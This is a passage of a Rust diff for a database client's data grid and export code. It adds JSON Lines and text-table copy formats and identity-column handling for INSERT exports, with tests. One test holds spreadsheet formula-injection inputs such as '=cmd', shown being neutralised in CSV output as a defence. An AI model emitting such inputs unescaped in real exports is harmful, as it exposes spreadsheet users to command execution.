+}
+
+#[gtk4::test]
+fn the_text_copies_take_the_columns_on_screen() {
+    let grid = sql_grid(people(), people_rows(), Arc::new(FakeDialect));
+    grid.grid.set_column_visible(2, false);
+    select_all(&grid);
+
+    let table = copied(&grid, || activate(&grid.grid, "copy-text-table"));
+    let lines = copied(&grid, || activate(&grid.grid, "copy-json-lines"));
+    let one_row = copied(&grid, || activate(&grid.grid, "copy-one-row"));
+
+    assert_eq!(
+        table,
+        "+----+-------+\n\
+         | id | name  |\n\
+         +----+-------+\n\
+         |  1 | Ada   |\n\
+         |  2 | Grace |\n\
+         +----+-------+"
+    );
+    assert_eq!(lines, "{\"id\":1,\"name\":\"Ada\"}\n{\"id\":2,\"name\":\"Grace\"}\n");
+    assert_eq!(one_row, "1, 'Ada', 2, 'Grace'");
 }
diff --git a/linux/crates/app/src/ui/data_grid/grid_menu.rs b/linux/crates/app/src/ui/data_grid/grid_menu.rs
index 46f0bf3f58..01df324386 100644
--- a/linux/crates/app/src/ui/data_grid/grid_menu.rs
+++ b/linux/crates/app/src/ui/data_grid/grid_menu.rs
@@ -107,16 +107,28 @@ fn cell_menu(grid: &DataGrid, references: &gio::Menu) -> gio::Menu {
     let copy_as = section([
         item(&gettext("Rows"), "grid.copy-rows"),
         item(&gettext("With Headers"), "grid.copy-rows-headers"),
-        item(&gettext("JSON"), "grid.copy-json"),
         item(&gettext("CSV"), "grid.copy-csv"),
         item(&gettext("CSV With Headers"), "grid.copy-csv-headers"),
-        item(&gettext("Markdown"), "grid.copy-markdown"),
     ]);
+    copy_as.append_section(
+        None,
+        &section([
+            item(&gettext("JSON"), "grid.copy-json"),
+            item(&gettext("JSON Lines"), "grid.copy-json-lines"),
+            item(&gettext("Markdown"), "grid.copy-markdown"),
+            item(&gettext("Text Table"), "grid.copy-text-table"),
+        ]),
+    );
     copy_as.append_section(
         None,
         &section([
             hidden_while_disabled(&gettext("IN Clause"), "grid.copy-in-clause"),
+            hidden_while_disabled(&gettext("One Row"), "grid.copy-one-row"),
             hidden_while_disabled(&gettext("INSERT Statement"), "grid.copy-insert"),
+            hidden_while_disabled(
+                &gettext("INSERT Without Generated Keys"),
+                "grid.copy-insert-without-generated-keys",
+            ),
         ]),
     );
     copy_as.append_section(None, &section([item(&gettext("Column Name"), "grid.copy-column-name")]));
diff --git a/linux/crates/app/src/ui/export/dialog.rs b/linux/crates/app/src/ui/export/dialog.rs
index 9d00e78c19..3ceb53454c 100644
--- a/linux/crates/app/src/ui/export/dialog.rs
+++ b/linux/crates/app/src/ui/export/dialog.rs
@@ -28,6 +28,9 @@ pub struct SqlTarget {
     pub table: TableRef,
     /// The columns the server computes, which the statements leave out.
     pub generated: Arc<[String]>,
+    /// The columns the server numbers, written with the engine's
+    /// override.
+    pub numbered: Arc<[String]>,
 }
 
 #[derive(Clone, Copy, PartialEq, Eq)]
@@ -351,6 +354,7 @@ pub(crate) fn present(init: ExportDialogInit<'_>) {
     let target = target.zip(dialect).map(|(target, dialect)| InsertTarget {
         table: target.table,
         generated: target.generated,
+        numbered: target.numbered,
         dialect,
     });
     let formats = Format::offered(target.as_ref());
diff --git a/linux/crates/app/src/ui/export/export_format.rs b/linux/crates/app/src/ui/export/export_format.rs
index 2696261d8a..105cc4d968 100644
--- a/linux/crates/app/src/ui/export/export_format.rs
+++ b/linux/crates/app/src/ui/export/export_format.rs
@@ -44,6 +44,7 @@ impl RowFormat {
                 &target.table,
                 columns,
                 &target.generated,
+                &target.numbered,
             )),
         }
     }
@@ -97,5 +98,8 @@ pub(crate) struct InsertTarget {
     pub table: TableRef,
     /// The columns the server computes, which the statements leave out.
     pub generated: Arc<[String]>,
+    /// The columns the server numbers, written with the engine's
+    /// override.
+    pub numbered: Arc<[String]>,
     pub dialect: Arc<dyn SqlDialect>,
 }
diff --git a/linux/crates/app/src/ui/export/export_sink_parts.rs b/linux/crates/app/src/ui/export/export_sink_parts.rs
index 0c082e3c3f..40845dc30a 100644
--- a/linux/crates/app/src/ui/export/export_sink_parts.rs
+++ b/linux/crates/app/src/ui/export/export_sink_parts.rs
@@ -49,6 +49,7 @@ mod tests {
             RowFormat::Sql(InsertTarget {
                 table: tablepro_core::meta::TableRef::unqualified("t"),
                 generated: Arc::from([]),
+                numbered: Arc::from([]),
                 dialect: Arc::new(FakeDialect),
             }),
         ];
diff --git a/linux/crates/core/Cargo.toml b/linux/crates/core/Cargo.toml
index b52cfa2534..e74195a598 100644
--- a/linux/crates/core/Cargo.toml
+++ b/linux/crates/core/Cargo.toml
@@ -8,6 +8,7 @@ publish.workspace = true
 [dependencies]
 async-trait.workspace = true
 chrono.workspace = true
+comfy-table.workspace = true
 csv.workspace = true
 futures.workspace = true
 num-bigint.workspace = true
@@ -20,6 +21,7 @@ sqlparser.workspace = true
 thiserror.workspace = true
 tokio = { workspace = true, features = ["io-util", "rt"] }
 tokio-util.workspace = true
+unicode-width.workspace = true
 uuid.workspace = true
 
 [dev-dependencies]
diff --git a/linux/crates/core/src/column/column_info.rs b/linux/crates/core/src/column/column_info.rs
index f03f738421..dbccbbcc69 100644
--- a/linux/crates/core/src/column/column_info.rs
+++ b/linux/crates/core/src/column/column_info.rs
@@ -38,6 +38,19 @@ impl ColumnInfo {
         !self.is_generated
     }
 
+    /// Whether the server gives a new row its own value here: a numbered
+    /// column, or a table's only key column whose default is an
+    /// expression, such as a UUID. A row copied as a new one leaves the
+    /// column out. A literal default would give every copy the same key,
+    /// and a key of several columns keeps what the row held in each.
+    /// `columns` is every column of the table.
+    pub fn is_assigned_on_insert(&self, columns: &[ColumnInfo]) -> bool {
+        self.is_auto_increment
+            || (self.primary_key
+                && self.default.needs_server_evaluation()
+                && columns.iter().filter(|column| column.primary_key).count() == 1)
+    }
+
     /// Whether an insert may leave the column out and still get a row:
     /// the server has something to put there.
     pub fn is_optional_on_insert(&self) -> bool {
@@ -49,6 +62,7 @@ impl ColumnInfo {
 mod tests {
     use super::super::{CatalogType, ColumnKind, IntegerKind, IntegerWidth, ReadForm, SqlExpression, SqlTypeExpr};
     use super::*;
+    use crate::value::Value;
 
     fn column(name: &str) -> ColumnInfo {
         ColumnInfo {
@@ -112,4 +126,42 @@ mod tests {
         defaulted.default = ColumnDefault::Expression(SqlExpression::from_catalog_text("now()"));
         assert!(defaulted.is_optional_on_insert());
     }
+
+    #[test]
+    fn a_new_row_takes_a_numbered_column_or_a_defaulted_key_from_the_server() {
+        let mut row_number = column("row_number");
+        row_number.is_auto_increment = true;
+        let mut uuid_key = column("id");
+        uuid_key.primary_key = true;
+        uuid_key.default = ColumnDefault::Expression(SqlExpression::from_catalog_text("gen_random_uuid()"));
+        let mut written_key = column("code");
+        written_key.primary_key = true;
+        let mut defaulted = column("created_at");
+        defaulted.default = ColumnDefault::Expression(SqlExpression::from_catalog_text("now()"));
+        let mut zero_key = column("id");
+        zero_key.primary_key = true;
+        zero_key.default = ColumnDefault::Literal(Value::Int(0));
+        let mut stamped_key = defaulted.clone();
+        stamped_key.primary_key = true;
+        let mut tenant = column("tenant");
+        tenant.primary_key = true;
+        let one_key = [uuid_key.clone(), defaulted.clone()];
+        let two_keys = [tenant, stamped_key.clone()];
+
+        assert!(row_number.is_assigned_on_insert(&[row_number.clone()]));
+        assert!(uuid_key.is_assigned_on_insert(&one_key));
+        assert!(!written_key.is_assigned_on_insert(&[written_key.clone()]));
+        assert!(
+            !defaulted.is_assigned_on_insert(&one_key),
+            "a value the row had stays its own"
+        );
+        assert!(
+            !zero_key.is_assigned_on_insert(&[zero_key.clone()]),
+            "every copy would get 0"
+        );
+        assert!(
+            !stamped_key.is_assigned_on_insert(&two_keys),
+            "part of a key keeps its value"
+        );
+    }
 }
diff --git a/linux/crates/core/src/column/kind.rs b/linux/crates/core/src/column/kind.rs
index 50227f3580..b2edf23312 100644
--- a/linux/crates/core/src/column/kind.rs
+++ b/linux/crates/core/src/column/kind.rs
@@ -69,6 +69,12 @@ impl ColumnKind {
         matches!(self, Self::Text { .. } | Self::Enum { .. } | Self::Xml | Self::Other)
     }
 
+    /// The kind says nothing of what the column holds, as a PostgreSQL
+    /// result's columns do (ADR 0016), so it lines up by its values.
+    pub fn is_untyped(&self) -> bool {
+        matches!(self, Self::Other | Self::Variant)
+    }
+
     pub fn is_numeric(&self) -> bool {
         matches!(
             self,
diff --git a/linux/crates/core/src/dialect/sql_dialect.rs b/linux/crates/core/src/dialect/sql_dialect.rs
index 205bcc8bb6..79b7e00948 100644
--- a/linux/crates/core/src/dialect/sql_dialect.rs
+++ b/linux/crates/core/src/dialect/sql_dialect.rs
@@ -235,6 +235,21 @@ pub trait SqlDialect: Send + Sync + std::fmt::Debug {
         Some(format!("INSERT INTO {table_sql} DEFAULT VALUES"))
     }
 
+    /// The clause between an INSERT's columns and VALUES that lets it set
+    /// a column the engine numbers, where the engine refuses one without.
+    fn insert_overriding_clause(&self) -> Option<&'static str> {
+        None
+    }
+
+    /// The lines, `;` and all, that let the INSERTs after them set the
+    /// table's identity column, or end that (`on` false), where the engine
+    /// refuses a value there otherwise. An engine that runs a script batch
+    /// by batch ends it in a batch of its own, so a run that fails partway
+    /// still turns it off.
+    fn identity_insert(&self, _table_sql: &str, _on: bool) -> Option<String> {
+        None
+    }
+
     /// Count the rows a predicate matches, stopping at two: the caller
     /// only needs to know whether it is exactly one.
     fn key_probe(&self, table_sql: &str, predicate_sql: &str) -> String {
diff --git a/linux/crates/core/src/export/encoder/json_array_encoder.rs b/linux/crates/core/src/export/encoder/json_array_encoder.rs
index 867f2d791b..d9d68046f8 100644
--- a/linux/crates/core/src/export/encoder/json_array_encoder.rs
+++ b/linux/crates/core/src/export/encoder/json_array_encoder.rs
@@ -1,39 +1,23 @@
 use std::sync::Arc;
 
-use serde::Serialize;
-
 use crate::column::ResultColumn;
 use crate::value::Value;
 
-use super::super::column_type;
-use super::super::json::JsonCell;
-use super::super::json_field_names::json_field_names;
-use super::{EncodeError, RowEncoder, readable_cells};
+use super::json_object::JsonObjectWriter;
+use super::{EncodeError, RowEncoder};
 
 /// A JSON array with one object per row, each on a line of its own.
-///
-/// The objects are written key by key in column order rather than
-/// built as a map first: a map would cost a copy of every row and, with
-/// serde_json's default map, sort the keys.
 pub struct JsonArrayEncoder {
-    columns: Arc<[ResultColumn]>,
-    /// Each column's key as JSON, followed by its colon.
-    keys: Vec<Vec<u8>>,
+    objects: JsonObjectWriter,
     rows: u64,
 }
 
 impl JsonArrayEncoder {
     pub fn new(columns: Arc<[ResultColumn]>) -> Self {
-        let keys = json_field_names(&columns)
-            .iter()
-            .map(|name| {
-                let mut key = Vec::with_capacity(name.len() + 3);
-                write_json(&mut key, name);
-                key.push(b':');
-                key
-            })
-            .collect();
-        Self { columns, keys, rows: 0 }
+        Self {
+            objects: JsonObjectWriter::new(columns),
+            rows: 0,
+        }
     }
 }
 
@@ -43,28 +27,8 @@ impl RowEncoder for JsonArrayEncoder {
     }
 
     fn row(&mut self, out: &mut Vec<u8>, cells: &mut dyn Iterator<Item = &Value>) -> Result<(), EncodeError> {
-        let cells = readable_cells(&self.columns, cells)?;
-        let lead: &[u8] = if self.rows == 0 { b"\n{" } else { b",\n{" };
-        out.extend_from_slice(lead);
-        for (index, key) in self.keys.iter().enumerate() {
-            if index > 0 {
-                out.push(b',');
-            }
-            out.extend_from_slice(key);
-            match cells.get(index).copied() {
-                Some(value) => write_json(
-                    out,
-                    &JsonCell {
-                        value,
-                        kind: &column_type(&self.columns, index).kind,
-                    },
-                ),
-                // A row shorter than its header: the cell is missing,
-                // which is not the same as a NULL the row holds.
-                None => out.extend_from_slice(b"null"),
-            }
-        }
-        out.push(b'}');
+        let lead: &[u8] = if self.rows == 0 { b"\n" } else { b",\n" };
+        self.objects.write(out, lead, cells)?;
         self.rows += 1;
         Ok(())
     }
@@ -76,8 +40,3 @@ impl RowEncoder for JsonArrayEncoder {
         out.push(b']');
     }
 }
-
-/// serde_json fails only when its writer does, and a Vec never does.
-fn write_json(out: &mut Vec<u8>, value: &impl Serialize) {
-    let _ = serde_json::to_writer(out, value);
-}
diff --git a/linux/crates/core/src/export/encoder/json_lines_encoder.rs b/linux/crates/core/src/export/encoder/json_lines_encoder.rs
new file mode 100644
index 0000000000..e88d933de4
--- /dev/null
+++ b/linux/crates/core/src/export/encoder/json_lines_encoder.rs
@@ -0,0 +1,43 @@
+use std::sync::Arc;
+
+use crate::column::ResultColumn;
+use crate::value::Value;
+
+use super::json_object::JsonObjectWriter;
+use super::{EncodeError, RowEncoder};
+
+/// JSON Lines: one object per row, each ended by a line break, with no
+/// array around them, so a tool that reads a line at a time takes each
+/// row alone.
+pub struct JsonLinesEncoder {
+    objects: JsonObjectWriter,
+}
+
+impl JsonLinesEncoder {
+    pub fn new(columns: Arc<[ResultColumn]>) -> Self {
+        Self {
+            objects: JsonObjectWriter::new(columns),
+        }
+    }
+}
+
+impl RowEncoder for JsonLinesEncoder {
+    fn begin(&mut self, _out: &mut Vec<u8>) {}
+
+    fn row(&mut self, out: &mut Vec<u8>, cells: &mut dyn Iterator<Item = &Value>) -> Result<(), EncodeError> {
+        let start = out.len();
+        self.objects.write(out, b"", cells)?;
+        // A JSON column's document goes in as the server wrote it, line
+        // breaks included. A raw break can only sit between its tokens,
+        // since a JSON string escapes its own, so a space keeps it valid.
+        for byte in &mut out[start..] {
+            if matches!(byte, b'\n' | b'\r') {
+                *byte = b' ';
+            }
+        }
+        out.push(b'\n');
+        Ok(())
+    }
+
+    fn finish(&mut self, _out: &mut Vec<u8>) {}
+}
diff --git a/linux/crates/core/src/export/encoder/json_object.rs b/linux/crates/core/src/export/encoder/json_object.rs
new file mode 100644
index 0000000000..4e61791764
--- /dev/null
+++ b/linux/crates/core/src/export/encoder/json_object.rs
@@ -0,0 +1,74 @@
+use std::sync::Arc;
+
+use serde::Serialize;
+
+use crate::column::ResultColumn;
+use crate::value::Value;
+
+use super::super::column_type;
+use super::super::json::JsonCell;
+use super::super::json_field_names::json_field_names;
+use super::{EncodeError, readable_cells};
+
+/// One row as a JSON object, shared by the array and the line forms.
+///
+/// The objects are written key by key in column order rather than
+/// built as a map first: a map would cost a copy of every row and, with
+/// serde_json's default map, sort the keys.
+pub(super) struct JsonObjectWriter {
+    columns: Arc<[ResultColumn]>,
+    /// Each column's key as JSON, followed by its colon.
+    keys: Vec<Vec<u8>>,
+}
+
+impl JsonObjectWriter {
+    pub(super) fn new(columns: Arc<[ResultColumn]>) -> Self {
+        let keys = json_field_names(&columns)
+            .iter()
+            .map(|name| {
+                let mut key = Vec::with_capacity(name.len() + 3);
+                write_json(&mut key, name);
+                key.push(b':');
+                key
+            })
+            .collect();
+        Self { columns, keys }
+    }
+
+    /// The object after `lead`. A row that fails leaves `out` as it was.
+    pub(super) fn write(
+        &self,
+        out: &mut Vec<u8>,
+        lead: &[u8],
+        cells: &mut dyn Iterator<Item = &Value>,
+    ) -> Result<(), EncodeError> {
+        let cells = readable_cells(&self.columns, cells)?;
+        out.extend_from_slice(lead);
+        out.push(b'{');
+        for (index, key) in self.keys.iter().enumerate() {
+            if index > 0 {
+                out.push(b',');
+            }
+            out.extend_from_slice(key);
+            match cells.get(index).copied() {
+                Some(value) => write_json(
+                    out,
+                    &JsonCell {
+                        value,
+                        kind: &column_type(&self.columns, index).kind,
+                    },
+                ),
+                // A row shorter than its header: the cell is missing,
+                // which is not the same as a NULL the row holds.
+                None => out.extend_from_slice(b"null"),
+            }
+        }
+        out.push(b'}');
+        Ok(())
+    }
+}
+
+/// serde_json fails only when its writer does, and a Vec never does.
+fn write_json(out: &mut Vec<u8>, value: &impl Serialize) {
+    let _ = serde_json::to_writer(out, value);
+}
diff --git a/linux/crates/core/src/export/encoder/mod.rs b/linux/crates/core/src/export/encoder/mod.rs
index fc1e790ef6..799276a738 100644
--- a/linux/crates/core/src/export/encoder/mod.rs
+++ b/linux/crates/core/src/export/encoder/mod.rs
@@ -3,6 +3,8 @@ mod csv_encoder;
 mod encode_error;
 mod html_encoder;
 mod json_array_encoder;
+mod json_lines_encoder;
+mod json_object;
 mod markdown_encoder;
 mod row_encoder;
 mod sql_insert_encoder;
@@ -20,6 +22,7 @@ pub use csv_encoder::CsvEncoder;
 pub use encode_error::EncodeError;
 pub use html_encoder::HtmlEncoder;
 pub use json_array_encoder::JsonArrayEncoder;
+pub use json_lines_encoder::JsonLinesEncoder;
 pub use markdown_encoder::MarkdownEncoder;
 pub use row_encoder::RowEncoder;
 pub use sql_insert_encoder::SqlInsertEncoder;
@@ -42,7 +45,7 @@ pub(super) fn encode_rows(mut encoder: impl RowEncoder, rows: &[Vec<Value>]) ->
 /// The row's cells, refused when one of them could not be read: a value
 /// the driver could not decode has no text, and writing it as a NULL
 /// would put a value in the file that the table does not hold.
-fn readable_cells<'a>(
+pub(super) fn readable_cells<'a>(
     columns: &[ResultColumn],
     cells: &mut dyn Iterator<Item = &'a Value>,
 ) -> Result<Vec<&'a Value>, EncodeError> {
diff --git a/linux/crates/core/src/export/encoder/sql_insert_encoder.rs b/linux/crates/core/src/export/encoder/sql_insert_encoder.rs
index dc81b77327..d242517950 100644
--- a/linux/crates/core/src/export/encoder/sql_insert_encoder.rs
+++ b/linux/crates/core/src/export/encoder/sql_insert_encoder.rs
@@ -5,7 +5,7 @@ use crate::dialect::SqlDialect;
 use crate::meta::TableRef;
 use crate::value::Value;
 
-use super::super::sql::{InsertShape, insert_row, insert_shape};
+use super::super::sql::InsertWriter;
 use super::{EncodeError, RowEncoder, readable_cells};
 
 /// The statements `render_sql_insert` writes, a row at a time.
@@ -14,23 +14,25 @@ pub struct SqlInsertEncoder {
     columns: Arc<[ResultColumn]>,
     /// `None` for a result with no column to write, which writes
     /// nothing.
-    shape: Option<InsertShape>,
+    writer: Option<InsertWriter>,
 }
 
 impl SqlInsertEncoder {
     /// `generated` names the columns the server computes, which every
-    /// statement leaves out.
+    /// statement leaves out, and `numbered` the ones it numbers, which
+    /// keep their values through the engine's override.
     pub fn new(
         dialect: Arc<dyn SqlDialect>,
         table: &TableRef,
         columns: Arc<[ResultColumn]>,
         generated: &[String],
+        numbered: &[String],
     ) -> Self {
-        let shape = insert_shape(&*dialect, table, &columns, generated);
+        let writer = InsertWriter::new(&*dialect, table, &columns, generated, numbered);
         Self {
             dialect,
             columns,
-            shape,
+            writer,
         }
     }
 }
@@ -40,14 +42,21 @@ impl RowEncoder for SqlInsertEncoder {
 
     fn row(&mut self, out: &mut Vec<u8>, cells: &mut dyn Iterator<Item = &Value>) -> Result<(), EncodeError> {
         let cells = readable_cells(&self.columns, cells)?;
-        let Some(shape) = &self.shape else {
+        let Some(writer) = &mut self.writer else {
             return Ok(());
         };
         let mut row = String::new();
-        insert_row(&mut row, &*self.dialect, shape, &self.columns, cells);
+        writer.row(&mut row, &*self.dialect, &self.columns, cells);
         out.extend_from_slice(row.as_bytes());
         Ok(())
     }
 
-    fn finish(&mut self, _out: &mut Vec<u8>) {}
+    fn finish(&mut self, out: &mut Vec<u8>) {
+        let Some(writer) = &mut self.writer else {
+            return;
+        };
+        let mut end = String::new();
+        writer.finish(&mut end, &*self.dialect);
+        out.extend_from_slice(end.as_bytes());
+    }
 }
diff --git a/linux/crates/core/src/export/encoder/tests.rs b/linux/crates/core/src/export/encoder/tests.rs
index dfc8aebde4..1e65cb7aa8 100644
--- a/linux/crates/core/src/export/encoder/tests.rs
+++ b/linux/crates/core/src/export/encoder/tests.rs
@@ -288,10 +288,10 @@ fn document_encoders_match_their_renderers() {
     );
     assert_eq!(
         streamed(
-            SqlInsertEncoder::new(dialect.clone(), &TableRef::unqualified("t"), columns.clone(), &[]),
+            SqlInsertEncoder::new(dialect.clone(), &TableRef::unqualified("t"), columns.clone(), &[], &[]),
             &rows
         ),
-        render_sql_insert(&*dialect, &TableRef::unqualified("t"), &columns, &[], &rows)
+        render_sql_insert(&*dialect, &TableRef::unqualified("t"), &columns, &[], &[], &rows)
     );
 }
 
@@ -310,12 +310,12 @@ fn document_encoders_write_whole_documents_for_no_rows() {
     );
     let table = TableRef::unqualified("t");
     assert_eq!(
-        streamed(SqlInsertEncoder::new(dialect.clone(), &table, columns, &[]), &[]),
+        streamed(SqlInsertEncoder::new(dialect.clone(), &table, columns, &[], &[]), &[]),
         ""
     );
     assert_eq!(
         streamed(
-            SqlInsertEncoder::new(dialect, &table, Vec::new().into(), &[]),
+            SqlInsertEncoder::new(dialect, &table, Vec::new().into(), &[], &[]),
             &[Vec::new()]
         ),
         "",
@@ -334,6 +334,7 @@ fn encoder_reports_undecodable_cell() {
         Box::new(CsvEncoder::new(columns.clone(), CsvOptions::default())),
         Box::new(TsvEncoder::new(columns.clone(), true)),
         Box::new(JsonArrayEncoder::new(columns.clone())),
+        Box::new(JsonLinesEncoder::new(columns.clone())),
         Box::new(MarkdownEncoder::new(columns.clone())),
         Box::new(HtmlEncoder::new(columns.clone(), "t")),
         Box::new(XmlEncoder::new(columns.clone())),
@@ -342,6 +343,7 @@ fn encoder_reports_undecodable_cell() {
             &TableRef::unqualified("t"),
             columns.clone(),
             &[],
+            &[],
         )),
     ];
     for mut encoder in encoders {
@@ -382,3 +384,35 @@ fn csv_neutralises_text_not_negative_numbers_through_encoder() {
         "\"a\"\n\"'=cmd\"\n\"'-cmd\"\n\"-5\"\n\"-12.30\"\n\"-1.5\"\n\"-12\"\n"
     );
 }
+
+#[test]
+fn json_lines_end_every_object_with_a_line_break_and_hold_the_arrays_objects() {
+    let (columns, rows) = fixture();
+
+    let out = streamed(JsonLinesEncoder::new(columns.clone()), &rows);
+
+    assert!(out.ends_with('\n'), "{out}");
+    let parsed: Vec<serde_json::Value> = out
+        .lines()
+        .map(|line| serde_json::from_str(line).expect("each line is JSON"))
+        .collect();
+    let array: Vec<serde_json::Value> =
+        serde_json::from_str(&streamed(JsonArrayEncoder::new(columns), &rows)).expect("the array");
+    assert_eq!(parsed, array, "one line per row: {out}");
+}
+
+#[test]
+fn json_lines_keep_a_json_value_written_over_several_lines_on_its_row() {
+    let columns: Arc<[ResultColumn]> = cols(&["id", "payload"]).into();
+    let payload = JsonText::parse("{\r\n  \"a\": \"x\\ny\"\n}".to_owned()).expect("JSON");
+    let rows = vec![vec![Value::Int(1), Value::Json(payload)]];
+
+    let out = streamed(JsonLinesEncoder::new(columns), &rows);
+
+    assert_eq!(out, "{\"id\":1,\"payload\":{    \"a\": \"x\\ny\" }}\n");
+}
+
+#[test]
+fn json_lines_of_no_rows_is_empty() {
+    assert_eq!(streamed(JsonLinesEncoder::new(cols(&["a"]).into()), &[]), "");
+}
diff --git a/linux/crates/core/src/export/in_clause.rs b/linux/crates/core/src/export/in_clause.rs
index ce23b1bd60..4712c72ad4 100644
--- a/linux/crates/core/src/export/in_clause.rs
+++ b/linux/crates/core/src/export/in_clause.rs
@@ -17,11 +17,23 @@ fn in_clause_literal(
         // different spelling on every engine. Both are reported to
         // the caller rather than written.
         Value::Null | Value::Bytes(_) => None,
+        other => Some(list_literal(dialect, column, other)),
+    }
+}
+
+/// The value as a literal to compare a column with or put back in one.
+pub(super) fn list_literal(
+    dialect: &dyn SqlDialect,
+    column: &ColumnType,
+    value: &Value,
+) -> Result<String, LiteralError> {
+    match value {
         // The widened double, not the real's own digits: an engine
         // compares a `real` with a numeric literal as a double, and
-        // `0.1` as a double is not the `real` 0.1.
-        Value::Float32(real) => Some(dialect.literal(&Value::Float64(f64::from(*real)), column)),
-        other => Some(dialect.literal(other, column)),
+        // `0.1` as a double is not the `real` 0.1. Stored back in a
+        // `real`, the double rounds to the same value.
+        Value::Float32(real) => dialect.literal(&Value::Float64(f64::from(*real)), column),
+        other => dialect.literal(other, column),
     }
 }
 
diff --git a/linux/crates/core/src/export/mod.rs b/linux/crates/core/src/export/mod.rs
index e33c8c2b21..44f8123118 100644
--- a/linux/crates/core/src/export/mod.rs
+++ b/linux/crates/core/src/export/mod.rs
@@ -8,7 +8,9 @@ mod json_field_names;
 mod markdown;
 mod render_insert_error;
 mod sql;
+mod text_table;
 mod tsv;
+mod value_list;
 mod value_text;
 mod xlsx;
 mod xml;
@@ -21,8 +23,8 @@ use crate::value::Value;
 pub use csv::{FORMULA_LEADS, csv_writer_builder, neutralise_formula, render_csv, render_text_csv};
 pub use csv_options::{CsvDecimal, CsvDelimiter, CsvLineBreak, CsvOptions, CsvQuote};
 pub use encoder::{
-    CellsEncoder, CsvEncoder, EncodeError, HtmlEncoder, JsonArrayEncoder, MarkdownEncoder, RowEncoder,
-    SqlInsertEncoder, TsvEncoder, XmlEncoder,
+    CellsEncoder, CsvEncoder, EncodeError, HtmlEncoder, JsonArrayEncoder, JsonLinesEncoder, MarkdownEncoder,
+    RowEncoder, SqlInsertEncoder, TsvEncoder, XmlEncoder,
 };
 pub use html::render_html;
 pub use in_clause::{InClause, render_in_clause};
@@ -30,8 +32,10 @@ pub use json::{render_json, row_to_json};
 pub use json_field_names::json_field_names;
 pub use markdown::render_markdown;
 pub use render_insert_error::RenderInsertError;
-pub use sql::{literal, render_insert, render_sql_insert};
+pub use sql::{literal, render_inserts, render_sql_insert};
+pub use text_table::{TextTableError, render_text_table};
 pub use tsv::{TSV_NULL, render_tsv, tsv_writer_builder};
+pub use value_list::render_value_list;
 pub use value_text::{value_text, value_to_text};
 pub use xlsx::{XLSX_MAX_DATA_ROWS, XlsxSheetWriter, render_xlsx};
 pub use xml::render_xml;
diff --git a/linux/crates/core/src/export/sql.rs b/linux/crates/core/src/export/sql.rs
index 1d2be975f8..c6b098cc94 100644
--- a/linux/crates/core/src/export/sql.rs
+++ b/linux/crates/core/src/export/sql.rs
@@ -14,7 +14,9 @@ use crate::value::Value;
 ///
 /// The table is written with its schema, and the columns `generated`
 /// names are left out, as Copy As INSERT leaves them out: every engine
-/// refuses a value for a column it computes.
+/// refuses a value for a column it computes. The columns `numbered`
+/// names keep their values, written the way the engine lets an INSERT
+/// set a column it numbers, so a row keeps the key other rows point at.
 ///
 /// A value the engine has no literal for, such as a blob, is written as
 /// `NULL` behind a comment saying so. Writing a guess would put the
@@ -25,137 +27,219 @@ pub fn render_sql_insert(
     table: &TableRef,
     columns: &[ResultColumn],
     generated: &[String],
+    numbered: &[String],
     rows: &[Vec<Value>],
 ) -> String {
-    let Some(shape) = insert_shape(dialect, table, columns, generated) else {
+    let Some(mut writer) = InsertWriter::new(dialect, table, columns, generated, numbered) else {
         return String::new();
     };
     let mut out = String::with_capacity(rows.len() * columns.len() * 12);
     for row in rows {
-        insert_row(&mut out, dialect, &shape, columns, row);
+        writer.row(&mut out, dialect, columns, row);
     }
+    writer.finish(&mut out, dialect);
     out
 }
 
-/// What every row's statement shares: `INSERT INTO table (columns)
-/// VALUES `, and the quoted name of each of the result's columns it
-/// writes. An engine of documents writes `insertOne(` instead, and each
-/// value under its field's name, which `names` then holds unquoted.
-pub(super) struct InsertShape {
+/// An export's statements, a row at a time. Every row's statement
+/// shares `start`, `INSERT INTO table (columns) VALUES `, and the quoted
+/// name of each of the result's columns it writes. An engine of
+/// documents writes `insertOne(` instead, and each value under its
+/// field's name, which `columns` then holds unquoted.
+pub(super) struct InsertWriter {
     start: String,
     table_sql: String,
-    names: Vec<Option<String>>,
+    columns: Vec<Option<WrittenColumn>>,
     document: bool,
+    /// Whether the last statement left the table's identity insert on.
+    identity_on: bool,
 }
 
-/// The shape of every row's statement, or `None` for a result with no
-/// column to write, which has no statement.
-pub(super) fn insert_shape(
-    dialect: &dyn SqlDialect,
-    table: &TableRef,
-    columns: &[ResultColumn],
-    generated: &[String],
-) -> Option<InsertShape> {
-    let document = crate::document::speaks_shell(dialect);
-    let names: Vec<Option<String>> = columns
-        .iter()
-        .map(|column| {
-            (!generated.contains(&column.name)).then(|| match document {
-                true => column.name.clone(),
-                false => dialect.quote_identifier(&column.name),
+struct WrittenColumn {
+    name: String,
+    numbered: bool,
+}
+
+impl InsertWriter {
+    /// `None` for a result with no column to write, which has no
+    /// statement.
+    pub(super) fn new(
+        dialect: &dyn SqlDialect,
+        table: &TableRef,
+        columns: &[ResultColumn],
+        generated: &[String],
+        numbered: &[String],
+    ) -> Option<Self> {
+        let document = crate::document::speaks_shell(dialect);
+        let written: Vec<Option<WrittenColumn>> = columns
+            .iter()
+            .map(|column| {
+                (!generated.contains(&column.name)).then(|| WrittenColumn {
+                    name: match document {
+                        true => column.name.clone(),
+                        false => dialect.quote_identifier(&column.name),
+                    },
+                    numbered: !document && numbered.contains(&column.name),
+                })
             })
-        })
-        .collect();
-    let written: Vec<&str> = names.iter().flatten().map(String::as_str).collect();
-    if written.is_empty() {
-        return None;
-    }
-    if document {
-        return Some(InsertShape {
-            start: crate::document::insert_start(table),
-            table_sql: String::new(),
-            names,
+            .collect();
+        let names: Vec<&str> = written.iter().flatten().map(|column| column.name.as_str()).collect();
+        if names.is_empty() {
+            return None;
+        }
+        if document {
+            return Some(Self {
+                start: crate::document::insert_start(table),
+                table_sql: String::new(),
+                columns: written,
+                document,
+                identity_on: false,
+            });
+        }
+        let table_sql = dialect.portable_name(table);
+        let mut start = format!("INSERT INTO {table_sql} ({}) ", names.join(", "));
+        let writes_numbered = written.iter().flatten().any(|column| column.numbered);
+        push_overriding(&mut start, dialect, writes_numbered);
+        start.push_str("VALUES ");
+        Some(Self {
+            start,
+            table_sql,
+            columns: written,
             document,
-        });
+            identity_on: false,
+        })
     }
-    let table_sql = dialect.portable_name(table);
-    Some(InsertShape {
-        start: format!("INSERT INTO {table_sql} ({}) VALUES ", written.join(", ")),
-        table_sql,
-        names,
-        document,
-    })
-}
 
-pub(super) fn insert_row<'a>(
-    out: &mut String,
-    dialect: &dyn SqlDialect,
-    shape: &InsertShape,
-    columns: &[ResultColumn],
-    row: impl IntoIterator<Item = &'a Value>,
-) {
